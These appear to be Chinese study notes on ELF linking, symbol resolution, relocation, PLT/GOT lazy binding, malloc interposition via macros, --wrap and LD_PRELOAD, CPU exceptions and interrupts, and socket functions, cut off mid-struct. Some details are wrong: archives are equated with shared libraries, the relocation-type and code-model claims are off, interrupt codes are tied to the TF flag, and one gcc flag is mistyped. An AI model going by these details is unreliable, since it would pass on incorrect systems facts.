符号解析:解析目标文件的符号,把 符号引用符号定义 关联起来

重定位:通过把 符号定义内存位置 关联起来,来重定位这些节片段,然后修改对这些符号的引用,使它们指向对应的内存位置

动态链接

在创建可执行文件时,静态执行一些链接

在程序加载时,动态完成链接

动态链接器通过执行下面的重定位来完成链接任务:

  • 重定位 libc.so 的文本和数据到某个内存段
  • 重定位 libvector.so 的文本和数据到另一个内存段
  • 重定位 prog21 中所有的 “由 libc.so 和 libvector.so(存档文件) 定义的” 符号的引用

存档文件

存档文件(libvector.so)是一种文件格式,用于存储一组文件以及与这些文件有关的信息(元数据),创建存档文件的目的是将多个文件存储在一起,通常采用压缩格式,这样可以提高可移植性,同时节省磁盘上的存储空间

目标文件

目标文件分为3种:

1.可重定位目标文件:包含二进制代码和数据,可以在编译时与其他可重定位目标文件合并,创建一个可执行目标文件

2.可执行目标文件:包含二进制代码和数据,可以直接放入内存执行(就是可执行文件)

3.共享目标文件:一种特殊的可重定位目标文件,可以在加载或者运行时被 动态 地加载进内存并进行连接

编译器和汇编器生成:可重定位目标文件

链接器生成:可执行目标文件

各个系统目标文件的格式不同:Unix系统,采用a.out格式;Windows系统,采用PE格式;MacOS系统,采用Mach-O格式

可重定位目标文件

这个就是可重定位目标文件的格式,ELF头描述了产生该文件的系统的 字的大小字节序

ELF头剩下的部分包含:帮助链接器进行 语法分析解释目标文件 的信息

不同节的位置大小是由 “节头部” 决定的,其中目标文件的每个节都有一个固定大小的条目(entry),夹在“ELF头”和“节头部表”之间的都是节

一个经典的ELF可重定位目标文件包含下面几个节:

.text:已经编译的程序机器代码

.rodata:只读数据

.data:已经初始化的 全局变量 和 静态变量(局部变量保存在栈中)

.bss:未初始化的 全局变量 和 静态变量(被初始化为“0”的变量也会保存在这里)

.symtab:符号表,用于存放程序中定义或引用的 “函数和全局变量” 的信息

.rel.text:“.text节”的重定位信息,用于重新修改代码段的指令中的地址信息

.debug:调试符号表

.line:原始C源程序中的行号 和 “.text节”中机器指令之间的映射

.strtab:字符串表(包含“.symtab”和“.debug”中的符号名和节名)

符号及其相关

符号(symbol)

函数名,变量名,数组名,结构体名都可以称之为符号

在链接器的上下文中一共有3中不同的符号:

  • Global symbols(模块内部定义的全局符号)
    • 由模块m定义并能被其他模块引用的符号(非static函数,非static全局变量)
  • External symbols(外部定义的全局符号)
    • 由其他模块定义并被模块m引用的全局符号
  • Local symbols(本模块的局部符号)
    • 仅由模块m定义和引用的本地符号(带有static的函数和全局变量)
    • 注意:局部变量不会在过程外被引用(分配在栈中),因此不是符号定义

符号表(symtab)

符号表是由汇编器构造的,包含一个条目的数组,每个条目都是一个结构体

1
2
3
4
5
6
7
8
9
typedef struct {
Elf32_Word st_name; /* 符号对应字符串在strtab节中的偏移量 */
Elf32_Word st_value; /* 在对应节中的偏移量,可执行文件中是虚拟地址 */
Elf32_Word st_size; /* 符号对应目标所占字节数 */
unsigned char type: 4, /* 符号对应目标的类型:数据、函数、源文件、节 */
binding: 4; /* 符号类别:全局符号、局部符号、弱符号 */
unsigned char st_other;
Elf32_Section st_shndx; /* 符号对应目标所在的节,或其他情况 */
}Elf32_Sym;
1
2
3
4
5
6
7
8
9
typedef struct  
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
// 高4字节为type,低4字节为binding
unsigned char st_other; /* Symbol visibility */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
}Elf64_Sym;

st_name:对应字符串表的偏移

st_value:距离目标符号地址的偏移

st_size:目标的大小

st_info:高字节为type,低字节为binding

type:表示符号类型(要么是数据,要么是函数)

binding:表示符号是本地的,还是全局的

符号和节

每个符号都会被分配到目标文件的某个节,由 section 字段表示,改字段也是一个到节头部表的索引,但是存在3个 伪节 ,它们在节头部表中是没有条目的

ABS:代表不应该被重定位的符号

UNDEF:代表未定义的符号,就是在本目标模块中被引用,但是却在其他地方定义的符号

COMMON:代表未被分配位置的未初始化数据的目录

​ // 只有在可重定位目标文件中才有这些伪节,可执行目标文件是没有的

COMMON和bss节的区别很细微:

符号解析

链接器从左往右按照它们在编译器驱动程序命令行上出现的顺序,来扫描可重定位目标文件和存档文件,在这次扫描中,链接器会维护:

一个 可重定位目标文件的集合E (将会被合并为可执行目标文件)

一个 未解析符号集合U (引用了但是未定义)

一个 在前面输入文件中已经定义的符号集合D(自己定义的符号也会被装入)

符号解析的工作流程如下:

  1. 在命令行上输入文件F,链接器会判断文件F是一个目标文件,还是一个存档文件
  2. 如果是目标文件,则添加到E,并且修改U和D来反应F中的 符号定义引用
  3. 如果F是一个存档文件,那么链接会尝试匹配 未解析符号集合U存档文件成员定义的符号 ,假设存档文件中有个成员 m,定义了一个符号来解析U中的一个引用,那么就将 m 添加到E中,并且链接器修改U和D来反映 m 中的 符号定义引用

扫描完成以后,集合U非空,链接器就会输出一个错误并终止,以表明有符号未定义

扫描完成以后,集合U为空,那么链接器就会合并集合E中的目标文件,构建可执行文件

​ // 当D被新填入时,对应的U会减少

符号变量

自动变量(动态局部变量):auto

  • 离开函数,值就消失
  • 不写 static 就默认是 auto

静态局部变量:static

  • 离开函数,值任然保留
  • 变量的值只在函数内部生效
  • 带有 static 的变量只会初始化一次(数据存储在 data 段)
  • 当上一级函数多次调用本函数时,带有 static 的变量数值不变(并且不会进行初始化)

寄存器变量:register

  • 离开函数,值就消失
  • 变量的值只在函数内部生效

全局变量:在 main 之外

  • 允许 main 中所有函数访问
  • 允许外部其他文件访问

静态全局变量:在 main 之外,static

  • 允许 main 中所有函数访问
  • 变量的值只在文件内部生效

使用目标文件的节头表,可以定位文件的所有节,节头表是 Elf32_ShdrElf64_Shdr 结构的数组

节头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
typedef struct {
elf32_Word sh_name; /* 节的名称,此成员值是节头字符串表节的索引,用于指定以空字符结尾的字符串的位置 */
Elf32_Word sh_type; /* 用于将节的内容和语义分类 */
Elf32_Word sh_flags; /* 节可支持用于说明杂项属性的1位标志 */
Elf32_Addr sh_addr; /* 如果节显示在进程的内存映像中,则此成员会指定节的第一个字节所在的地址 */
Elf32_Off sh_offset; /* 从文件的起始位置到节中第一个字节的字节偏移 */
Elf32_Word sh_size; /* 节的大小 */
Elf32_Word sh_link; /* 节头表索引链接,其解释依赖于节类型 */
Elf32_Word sh_info; /* 额外信息,其解释依赖于节类型 */
Elf32_Word sh_addralign; /* 一些节具有地址对齐约束 */
Elf32_Word sh_entsize; /* 指定每一项的大小(一些节包含固定大小的项的表) */
} Elf32_Shdr;

typedef struct {
Elf64_Word sh_name;
Elf64_Word sh_type;
Elf64_Xword sh_flags;
Elf64_Addr sh_addr;
Elf64_Off sh_offset;
Elf64_Xword sh_size;
Elf64_Word sh_link;
Elf64_Word sh_info;
Elf64_Xword sh_addralign;
Elf64_Xword sh_entsize;
} Elf64_Shdr;

节分配

节简述

  • ELF头:包括16字节的标识信息,文件类型(.o,exec,.so),机器类型(如Intel 80386),节头表的偏移,节头表的表项大小及表项个数
  • .text节:编译后的代码部分
  • .rodata节:只读数据,如 printf 用到的格式串,switch 跳转表等
  • .data节:已初始化的全局变量和静态变量
  • .bss节:未初始化全局变量和静态变量,仅是占位符,不占据任何磁盘空间,区分初始化和非初始化是为了空间效率
  • .symtab节:存放函数和全局变量(符号表)的信息,它不包括局部变量
  • .rel.text节:.text节的重定位信息,用于重新修改代码段的指令中的地址信息
  • .debug节:调试用的符号表(gcc -g)
  • .strtab节:包含 .symtab节和 .debug节 中的符号及节名

示例(可能会有不同,比如:在我的电脑上 .data 为第4节)

运行&链接&加载&存储地址

运行地址 ~~ 链接地址

链接地址:在程序编译的时候,每个目标文件都是由源代码编译得到,最终多个目标文件链接生成一个最终的可执行文件,而链接地址就是指示链接器,各个目标文件的在可执行程序中的位置

  • 链接地址是静态的,在进行程序编译的时候指定的

运行地址: 程序实际在内存中运行时候的地址

  • 运行地址是动态的,如果你将程序加载到内存中时,改变存放在内存的地址,那么运行地址也就随之改变了
1
例如上图所示,指令ldr r0, =func就是一条位置相关指令,在编译的时候,编译器根据链接地址(链接地址入口是 0x40008000 )将其翻译成:ldr r0, [pc, #0x80],也就是将func标号等价于地址 0x40008080 ,然后将 0x40008080 这个地址数值放在a.out文件中链接地址 0x50008000 的位置。当程序运行时,a.out会被加载到内存中运行,如果程序运行的地址和链接的地址都是 0x40008000 ,那么程序运行时,没有任何问题,因为读取的func的地址是 0x40008080 ,实际跳转的时候,跳转到 0x40008080 中存放的也是func对应的代码。但是如果运行的地址和链接地址不一样(运行地址是 0x20008000 ),这时候,func的地址还是编译的时候计算的地址 0x40008080 ,但是实际在内存中,func的地址是 0x20008080 ,那么当你跳转执行func的时候,取出来的是 0x40008080 ,跳转的地址也是 0x40008080 ,而 0x40008080 中存放的是什么代码我们不确定,但是一定不是func的代码(func存放在 0x20008080 中)。这个就是位置相关的概念

加载地址 ~~ 存储地址

加载地址:每一个程序一开始都是存放在flash中的,而运行是在内存中,这个时候就需要从flash中将指令读取到内存中(运行地址),flash的地址就是加载地址

存储地址:指令在flash中存放的存储地址,就是存储地址

参考:链接地址、运行地址、加载地址、存储地址

重定位

但链接器完成符号解析这一步时,就会把代码中的 每个符号引用一个符号定义 关联起来

此时,链接器就知道它输入目标模块的 “代码节” 和 “数据节” 的切确大小

重定位的工作流程如下:

  • 重定位“节”和“符号定义”:链接器会把所有同类型的节合并起来,然后将“运行地址”赋值给 “新的聚合节”“输入模块中定义的每个节” ,以及 “输入模块中定义的每个符号” ,这一步完成之后,程序中的每条指令和全局变量都有唯一的“运行地址”
  • 重定位“节”中的“符号引用”:链接器会修改 代码节 和 数据节 中对应 每个符号的引用 ,使得它们指向 正确的运行地址 (链接器需要依赖“重定位条目relocation entry”完成此操作)

重定位条目

代码的重定位条目存放于“.rel.text”中

已初始化数据的重定位条目存放于“.rel.data”中

1
2
3
4
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;
1
2
3
4
5
6
typedef struct {
Elf64_Addr r_offset;
Elf64_Word r_info;
Elf64_Word r_addend;
} Elf64_Rel;

r_offset:需要 “被修改引用” 的节偏移

r_info:高字节为type,低字节为symbol

type:告知链接器如何修改新的引用

symbol:标识 “被修改引用” 应该指向的符号

r_addend:一个符号常数,一些类型的重定位要使用它进行调整

ELF文件定义了32种不同的重定位类型,其中最基本的两种为:

  • R_X86_64_PC32:使用32位 PC相对地址 的引用(PC相对地址:距离程序计数器(PC)的当前运行值的偏移量),类似于 “jmp xxxx” 等汇编指令,“xxxx” 加上 程序的“SP指针”得到 有效地址 ,PC值通常是下一条指令在内存中的地址
  • R_X86_64_32:使用32位 绝对地址 ,CPU直接获取 有效地址

文件中的代码和数据总体大小“小于2GB”,使用“R_X86_64_PC32”(小型代码模型)

文件中的代码和数据总体大小“大于2GB”,使用“R_X86_64_32”(中型代码模型,大型代码模型)

GCC默认使用“R_X86_64_PC32”

可执行目标文件

段和节

段视图:是用来描述ELF加载到进程中后,来划分“读,写,执行”权限划分的视图

节视图:是ELF存放在磁盘中时,进行不同功能区域划分的视图

在汇编源码中,通常用语法关键字section或segment来表示一段区域,它们是编译器提供的伪指令,作用是相同的,都是在程序中”逻辑地”规划一段区域,此区域便是节

注意,此时所说的section或segment都是汇编语法中的关键字,它们在语法中都表示”节”,不是段,只是不同编译器的关键字不同而已,关键字segment在语法中也被认为与section意义相同

只有ELF文件加载到内存成为进程过后,才有“段”的概念

ELF文件到虚拟内存的映射

​ // 左边为“节”,右边为“段”

1
2
objdump -s elf	#查看elf文件结构
cat /proc/pid/maps #输出进程对应的‘虚拟内存’结构

加载

当linux系统加载某个文件时,会通过调用某个驻留在存储器中的 加载器(loader)来运行它,加载器本质上也是一段“操作系统代码”(通过execve函数来调用加载器)

加载器把目标文件的“代码”和“数据”,从磁盘复制到内存中的过程就叫做加载

位置无关代码(PIC)

无需“重定位”就可以加装的代码就是 位置无关代码 (PIC)

位置无关代码无论被加载到哪个地址上都可以正常执行

PIC的数据引用

无论我们在内存何处加装一个目标模块,它的“数据段”和“代码段”的距离总是保持不变的,因此,代码段中 任何指令任何变量 之间的距离都是常量

生成全局变量PIC的偏移器利用了这个事实,它在数据段开始的地方创建了一个表,叫做全局偏移量表(GOT表),在GOT表中,每个被此模块引用的“全局数据”,“过程”,“全局变量”,都有一个8字节条目

加载时,动态链接会重定位GOT表中的每个条目,使其包含目标的绝对地址

PIC的函数调用

编译器没法直接获取“共享库函数”的绝对地址,所以这里采用了延迟绑定的方式

延迟绑定技术是通过GOT表(全局偏移量表)和PLT表(过程链接表)的交互完成的

  • 过程链接表(plt):plt是一个数组,每个条目都是16字节的代码,每一个条目负责一个具体的函数,plt[0]是一个特殊条目(它可以跳转 动态链接器 ),plt[1]调用系统启动函数“libc_start_main”,从plt[2]开始的条目依次调用“用户代码中的函数”
  • 全局偏移量表(got):got是一个数组,每个条目都是8字节地址,got[0]和got[1]会包含 动态链接器 在解析函数地址时需要的信息,got[2]是 动态链接器 在“ld-linux.so”模块中的入口点,其余的每一个got表条目都对应一个被调用的函数,每一个条目都有一个对应的plt[n]
  • 第1步:程序进入plt[n](对应被调用函数的plt条目),跳转got[n]
  • 第2步:got[n]没有对应的libc地址,程序跳转回plt[n]
  • 第3步:把偏移压栈,接着跳转plt[0]
  • 第4步:把got[1](link_map)压栈,跳转got[2]
  • 第5步:got[2]中存放的动态链接器会根据“偏移”和“got[1]”查找libc库中的函数
  • 第6步:找到对应函数后,进入函数,并且把got[n]对应位置写入libc函数的地址

库打桩机制

linux链接器允许用户截获程序对共享库函数的调用,取而代之自己的代码,这种技术被称为“库打桩”

利用“库打桩”,用户可以追踪某个函数的调用次数,验证和追踪它的输入值和输出值,或者把它替换为一个完全不同的实现

基本思想

先给定一个需要打桩的目标函数,创建一个包装函数(它的原型和目标函数一样),使用特殊的打桩机制,可以欺骗程序程序调用包装函数而不是目标函数

假设有程序:

1
2
3
4
5
6
7
8
#include<stdio.h>
#include"malloc.h"
int main()
{
char *p = malloc(64);
free(p);
return 0;
}

编译时打桩

1
2
#define malloc(size) mymalloc(size) //把malloc全替换为mymalloc
void *mymalloc(size_t size)
1
2
3
4
5
6
7
8
9
10
11
#ifdef MYMOCK //只有MYMOCK编译选项是,这段代码才会编译进去
#include<stdio.h>
#include<stdlib.h>
/*打桩函数*/
void *mymalloc(size_t size)
{
void *ptr = malloc(size);
printf("ptr is %p\n",ptr);
return ptr;
}
#endif

编译时打桩:主要利用了C预处理机制

1
2
$ gcc -MYMOCK -c mymalloc.c	
$ gcc -I. -o test test.c mymalloc.o //test就是目标文件

参数 “- I.” 会告诉C预处理器,在搜索通常的系统目录之前,先在当前目录中查找“malloc.h”

1
2
$ ./main
ptr is 0xdbd010

可以发现:“malloc.h”被“mymalloc.o”调包了

链接时打桩

1
2
#define malloc(size) mymalloc(size) //把malloc全替换为mymalloc
void *mymalloc(size_t size)
1
2
3
4
5
6
7
8
9
10
11
12
#ifdef MYMOCK //只有MYMOCK编译选项是,这段代码才会编译进去
#include<stdio.h>
#include<stdlib.h>
void *__real_malloc(size_t size);//注意声明
/*打桩函数*/
void *__wrap_malloc(size_t size)
{
void *ptr = __real_malloc(size);//最后会被解析成malloc
printf("ptr is %p\n",ptr);
return ptr;
}
#endif

链接时打桩:linux静态链接器支持用 “—wrap,function”进行打桩

1
2
3
$ gcc -DMYMOCK mymalloc.c
$ gcc -c main.c
$ gcc -Wl,--wrap,malloc -o test test.o mymalloc.o //test就是目标文件

“-Wl option”表示把“option”传递给链接器

“—wrap,malloc”告诉静态链接器:

把“malloc”解析为“ __wrap_malloc ”

把“ __real_malloc ”解析为“真正的malloc”

1
2
$ ./main
ptr is 0x95f010

可以发现:“malloc”被解析为了“ __wrap_malloc ”

运行时打桩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#ifdef MYMOCK //只有MYMOCK编译选项是,这段代码才会编译进去
#define _GNU_SOURCE //这行特别注意加上
#include<stdio.h>
#include<stdlib.h>
#include<dlfcn.h>
extern FILE *stdout;
/*打桩的malloc函数*/
void *malloc(size_t size)
{
static int calltimes;
calltimes++;
/*函数指针*/
void *(*realMalloc)(size_t size) = NULL;
char *error;

realMalloc = dlsym(RTLD_NEXT,"malloc");//RTLD_NEXT
if(NULL == realMalloc)
{
error = dlerror();
fputs(error,stdout);
return NULL;
}

void *ptr = realMalloc(size);
if(1 == calltimes)
{
printf("ptr is %p\n",ptr);
}
calltimes = 0;
return ptr;
}
#endif

运行时打桩:可以通过设置LD_PRELOAD环境变量,达到在你加载一个动态库或者解析一个符号时,先从LD_PRELOAD指定的目录下的库去寻找需要的符号,然后再去其他库中寻找

1
2
3
$ gcc -DMYMOCK -shared -fPIC -o libmymalloc.so mymalloc.c -ldl
//将mymalloc.c制作成动态库 >> libmymalloc.so
$ LD_PRELOAD="./libmymalloc.so" //设置LD_PRELOAD环境变量
1
2
$ ./main
ptr is 0x95f010

可以发现:程序优先从”./libmymalloc.so”找到了“打桩malloc”

异常控制流(ECF)

程序可以使控制流发生“突变”来处理异常情况,这些“突变”就是异常控制流

应用程序可以使用“陷阱(trap)”或者“系统调用(syscall)”的ECF形式,向操作系统请求服务:向磁盘中写数据,从网络中读数据,创建一个新进程,终止当前进程

同步&异步

同步,是所有的操作都做完,才返回给用户结果,即写完数据库之后,在相应用户

异步,不用等所有操作等做完,就相应用户请求,即先相应用户请求,然后慢慢去写数据库

异常

异常是控制流中的一种形式,它一部分由硬件实现,一部分由操作系统实现

  • CPU检测到flag寄存器中的异常数据
  • CPU控制IP指针,通过“异常表的跳转表”跳转对应的处理程序
  • 处理完成后,进行相对应的操作(终止进程,继续进程,输出报错信息……)

系统把每种类型的异常都分配了一个唯一非负的异常号

异常表的基址放在一个叫异常表基址寄存器的特殊CPU寄存器中

异常的类型

异常分为4种:中断(interrupt),陷阱(trap),故障(fault),终止(abort)

类型 原因 异步/同步 返回行为
中断 来自“I/O”设备的信号 同步&异步 总是返回到下一条指令
陷阱 有意的异常 同步 总是返回到下一条指令
故障 潜在可恢复的错误 同步 可能返回到当前指令
终止 不可恢复的错误 同步 不会返回

中断

中断程序信号处理的一种机制

中断分为 内中断外中断

内中断概述

任何一个CPU都有一种能力:

可以在执行完当前指令后检测到从CPU内部产生的一种特殊信息,并立刻进行处理

这种特殊信息就是中断信息

​ //中断信息要求CPU立马进行处理,并携带了必备的参数

内中断可以使计算机可以处理紧急情况

内中断在程序中有意地产生,所以是主动的,也是“同步”

内中断产生

1.除法错误(TF=0)

2.单步执行(TF=1)

3.执行”into”指令(TF=4)

4.执行”int n”指令(TF=n)

对于8086CPU,这4种情况可以产生中断信息

外中断概述

CPU除了进行运算以外,还要有对 I/O 能力(输入/输出),但是外设的输入输出 随时 可能发生,CPU必须要拥有可以 及时处理 这些信息的能力,这就引入了外中断的思想

这种中断发生完全是“异步”的,根本无法预测到此类中断会在什么时候发生

外中断产生

外设的输入将被存放在端口中,而其输入随时可能到达

信息到达时,外设的相关芯片会给CPU发出相应的中断信息,当CPU执行完当前的指令后,一旦检测到该中断信息,就会触发外中断,行为上和内中断相似

在PC系统中,外中断源一般有以下两类:

1.可屏蔽中断:

可屏蔽中断是CPU可以不响应的中断

其到底响不响应,主要是看IF寄存器(“IF = 1” ——> 响应,“IF = 0” ——> 不响应)

在CPU执行某个中断时,会把IF设置为“0”,可以暂时屏蔽其他中断

​ //指令sti:设置“IF=1”,指令cli:设置“IF=0”

2.不可屏蔽中断:

不可屏蔽中断是CPU必须执行的外中断,不可屏蔽中断不需要中断类型码,立即引发响应

中断向量表

中断向量表中保存了256个中断处理程序的入口

CPU接收到中断类型码后,就会根据中断类型表找到中断处理程序的入口

中断过程

1.CPU获取中断类型码

2.flag寄存器入栈(中断过程会改变flag寄存器)

3.设置flag寄存器的TFIF为“0”

4.CS寄存器入栈

5.IP寄存器入栈

6.从中断向量表中读取中断处理程序的入口地址

中断检查

中断信息会被存储在flag寄存器的TF位中(TF = n:中断类型码为“n”)

CPU读取到此信息后就会开始中断过程

陷阱

陷阱是有意的异常,是执行一条指令的结果

陷阱最重要的用途:在“用户程序”和“内核”之间提供一个一样的接口,称为系统调用

处理器提供了一条特殊的指令:syscall,用于用户请求系统调用

有些基于读写的操作必须要在 “内核模式” 中完成,而系统调用为了实现这些功能而诞生的,它通过提供 有权限限制“内核模式” ,来实现一些 “用户模式” 无法办到的操作

用户程序通过系统调用从用户态(user mode)切换到核心态( kernel mode ),从而可以访问相应的资源。这样做的好处是:

  • 为用户空间提供了一种硬件的抽象接口,使编程更加容易
  • 有利于系统安全
  • 有利于每个进程度运行在虚拟系统中,接口统一有利于移植

当然,中断也可以实现系统调用(“int 80”)

故障

故障是由错误引起的,但是它可能可以被故障处理程序修正

当发生故障时,处理器会将控制转移给故障处理程序:如果可以修正故障,那么程序将返回并继续执行,否则,程序将返回内核中的“abort例程”并终止该程序

终止

终止是不可恢复的致命错误的结果,通常是一些硬件错误

终止处理程序将直接终止目标程序,不会返回任何信息

内核模式

处理器通常是用某个控制寄存器中的模式位来表示“当前进程的特权”

共两种特权:“用户模式”,“内核模式”

套接字接口

套接字接口(socket interface)是一组函数,它们和 Unix I/O 函数结合起来,用以创建网络应用

大多数现代系统上都实现套接字接口,包括所有的 Unix 变种、Windows 和 Macintosh 系统

​ // 从 Linux 内核的角度来看,一个套接字就是 通信的一个端点 ,从 Linux 程序的角度来看,套接字就是一个 有相应描述符的打开文件

因特网的套接字地址存放在所示的类型为 sockaddr_in 的 16 字节结构中(IP 地址和端口号总是以网络字节顺序(大端法)存放的)

下面将介绍套接字接口中的部分函数:

1
2
3
4
int socket(int domain, int type, int protocol);
// domain:即协议域,又称为协议族(family)
// type:指定socket类型
// protocol:指定协议

​ // 协议族决定了 socket 的地址类型,在通信中必须采用对应的地址

socket 函数 用于来返回一个 套接字描述符 (clientfd)

  • 套接字描述符:用来标定系统为当前的进程划分的一块缓冲空间,类似于文件描述符
  • 文件描述符:是内核为了高效管理已被打开的文件所创建的索引,用于指代被打开的文件,对文件所有 I/O 操作相关的系统调用都需要通过文件描述符(open的返回值fd)
1
2
3
4
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
// sockfd:需要绑定的socket
// *addr:存放了服务端用于通信的地址和端口
// addrlen: sizeof(sockaddr_in)

bind 函数 告诉内核将 addr 中的服务器套接字地址和套接字描述符 sockfd 联系起来

​ // bind函数把一个本地协议地址赋予一个套接字

1
2
3
int connect(int clientfd, const struct sockaddr *addr, socklen_t addrlen);
// clientfd:套接字描述符的一种
// addrlen:sizeof(sockaddr_in)

connect 函数 试图与 “套接字地址为 addr 的服务器” 建立一个因特网连接

如果成功,clientfd 描述符现在就准备好可以读写了(最好用 getaddrinfo 来为 connect 提供参数)

1
2
3
int listen(int sockfd, int backlog);
// sockfd:需要绑定的socket
// backlog:暗示了内核在开始拒绝连接请求之前,队列中要排队的未完成的连接请求的数量

listen 函数 将 sockfd 从一个 主动套接字 转化为一个 监听套接字 (listening socket),该套接字可以接受来自客户端的连接请求

1
2
3
4
int accept(int listenfd, struct sockaddr *addr, int *addrlen);
// listenfd:服务器的socket描述符
// *addr:指向struct sockaddr *的指针
// *addrlen:协议地址的长度

accept 函数 等待来自客户端的连接请求到达侦听描述符 listenfd,然后在 addr 中填写客户端的套接字地址,并返回一个 已连接描述符

一个服务器通常通常仅仅只创建一个监听socket描述字,内核为每个由服务器进程接受的客户连接创建了一个已连接socket描述字,当服务器完成了对某个客户的服务,相应的已连接socket描述字就被关闭

1
2
3
4
5
6
7
8
9
int getaddrinfo(const char *host, const char *service,
const struct addrinfo *hints,
struct addrinfo **result);
// host & service:套接字地址的两个组成部分
// 可选的参数 hints 是一个 addrinfo 结构,它提供对 getaddrinfo 返回的套接字地址列表的更好的控制
// getaddrinfo 返回 result,result 一个指向 addrinfo 结构的链表

void freeaddrinfo(struct addrinfo *result);
const char *gai_strerror(int errcode); // 返回:错误消息

getaddrinfo 函数 将主机名、主机地址、服务名和端口号的字符串表示转化成套接字地址结构,它是已弃用的 gethostbyname 和 getservbyname 函数的新的替代品

在客户端调用了 getaddrinfo 之后,会遍历这个列表,依次尝试每个套接字地址,直到调用 socket 和 connect 成功,建立起连接,类似地,服务器会尝试遍历列表中的每个套接字地址,直到调用 socket 和 bind 成功,描述符会被绑定到一个合法的套接字地址,

  • 为了避免内存泄漏,应用程序必须在最后调用 freeaddrinfo,释放该链表
  • 如果 getaddrinfo 返回非零的错误代码,应用程序可以调用 gai_streeror,将该代码转换成消息字符串
1
2
3
4
5
6
7
8
9
10
struct addrinfo {
int ai_flags; /* Hints argument flags */
int ai_family; /* First arg to socket function */
int ai_socktype; /* Second arg to socket function */
int ai_protocol; /* Third arg to socket function */
char *ai_canonname; /* Canonical hostname */
size_t ai_addrlen; /* Size of ai_addr struct */
struct sockaddr *ai_addr; /* Ptr to socket address structure */
struct addrinfo *ai_next; /* Ptr to next item in linked list */
};
1
2
3
4
5
6
7
int getnameinfo(const struct sockaddr *sa, socklen_t salen,
char *host, size_t hostlen,
char *service, size_t servlen, int flags);
// *sa:指向大小为 salen 字节的套接字地址结构
// *host 指向大小为 hostlen 字节的缓冲区
// *service 指向大小为 servlen 字节的缓冲区
// 参数 flags 是一个位掩码,能够修改默认的行为

getnameinfo 函数 和 getaddrinfo 是相反的,将一个套接字地址结构转换成相应的主机和服务名字符串,它是已弃用的 gethostbyaddr 和 getservbyport 函数的新的替代品

1
2
3
int open_clientfd(char *hostname, char *port);
// *hostname:服务器运行的地址
// *port:指向端口

客户端调用 open_clientfd 建立与服务器的连接

open_clientfd 函数 建立与服务器的连接,该服务器运行在主机 hostname 上,并在端口号 port 上监听连接请求

1
2
int open_listenfd(char *port);
// *port:指向端口号

open_listenfd 函数 打开和返回一个监听描述符,这个描述符准备好在端口 port_h 接收连接请求

网络编程中的信号

进程组

进程组就是一系列相互关联的进程集合,系统中的每一个进程也必须从属于某一个进程组,每个进程组中都会有一个唯一的 ID(process group id),简称 PGID,PGID 一般等同于进程组的创建进程的 Process ID,而这个进进程一般也会被称为进程组先导(process group leader),同一进程组中除了进程组先导外的其他进程都是其子进程

进程组的存在,方便了系统对多个相关进程执行某些统一的操作,例如:我们可以一次性发送一个信号量给同一进程组中的所有进程

会话

会话(session)是一个若干进程组的集合,同样的,系统中每一个进程组也都必须从属于某一个会话

  • 一个会话只拥有最多一个控制终端(也可以没有),该终端为会话中所有进程组中的进程所共用
  • 一个会话中前台进程组只会有一个,只有其中的进程才可以和控制终端进行交互,除了前台进程组外的进程组,都是后台进程组

和进程组先导类似,会话中也有会话先导(session leader)的概念,用来表示建立起到控制终端连接的进程,在拥有控制终端的会话中,session leader 也被称为控制进程(controlling process),一般来说控制进程也就是登入系统的 shell 进程(login shell)

带外数据

带外数据用于迅速告知对方本端发生的重要的事件,它比普通的数据(带内数据)拥有更高的优先级, 不论发送缓冲区中是否有排队等待发送的数据,它总是被立即发送 ,带外数据的传输可以使用一条独立的传输层连接,也可以映射到传输普通数据的连接中,

​ // 实际应用中,带外数据是使用很少见,有 telnet 和 ftp 等远程非活跃程序

UDP没有没有实现带外数据传输,TCP也没有真正的带外数据,不过TCP利用头部的紧急指针标志和紧急指针,为应用程序提供了一种紧急方式,含义和带外数据类似,TCP的紧急方式利用传输普通数据的连接来传输紧急数据

SIGHUP信号(关闭进程)

SIGHUP 信号在 用户终端连接(正常或非正常)结束 时发出, 通常是在终端的控制进程结束时, 通知同一session内的各个作业(任务),这时它们与控制终端不再关联

系统对SIGHUP信号的默认处理是:终止收到该信号的进程 ,所以若程序中没有捕捉该信号,当收到该信号时,进程就会退出

SIGHUP会在以下3种情况下被发送给相应的进程:

  • 终端关闭时,该信号被发送到 session 首进程以及作为 job 提交的进程(即用 & 符号提交的进程)
  • session 首进程退出时,该信号被发送到该 session 中的前台进程组中的每一个进程
  • 若父进程退出导致进程组成为孤儿进程组,且该进程组中有进程处于停止状态(收到SIGSTOP或SIGTSTP信号),该信号会被发送到该进程组中的每一个进程

例如:在我们登录Linux时,系统会分配给登录用户一个终端(Session),在这个终端运行的所有程序,包括前台进程组和后台进程组,一般都属于这个 Session,当用户退出Linux登录时,前台进程组和后台有对终端输出的进程将会收到SIGHUP信号,这个信号的默认操作为终止进程,因此前台进程组和后台有终端输出的进程就会中止

​ // 晦涩难懂,需要在实例中理解分析

SIGPIPE信号(告知中断)

往一个写端关闭的管道或 socket 连接中连续写入数据时会引发 SIGPIPE 信号(引发 SIGPIPE 信号的写操作将设置 errno 为EPIPE)

在TCP通信中,当通信的双方中的一方close一个连接时,若另一方接着发数据,根据TCP协议的规定,会收到一个RST(Reset the connection)响应报文,若再往这个服务器发送数据时,系统会发出一个SIGPIPE信号给进程,告诉进程这个连接已经断开了,不能再写入数据

  • 即使断开还可以进行一次通信,第二次发送数据时才触发SIGPIPE
  • 可以用相应的 handle 进行处理SIGPIPE,完成想要的操作

网络编程结构体

通用结构体:struct sockaddr,16个字节

1
2
3
4
5
/* Generic socket address structure (for connect, bind, and accept) */
struct sockaddr {
uint16_t sa_family; /* Protocol family */
char sa_data[14]; /* Address data */
};

struct sockaddr 是一个通用地址结构,这是为了统一地址结构的表示方法,统一接口函数,使不同的地址结构可以被bind() , connect() 等函数调用

sockaddr的缺陷:sa_data 把目标地址和端口信息混在一起了

通用结构体:struct sockaddr_storage,128个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* Structure large enough to hold any socket address 
(with the historical exception of AF_UNIX). 128 bytes reserved. */

#if ULONG_MAX > 0xffffffff
# define __ss_aligntype __uint64_t
#else
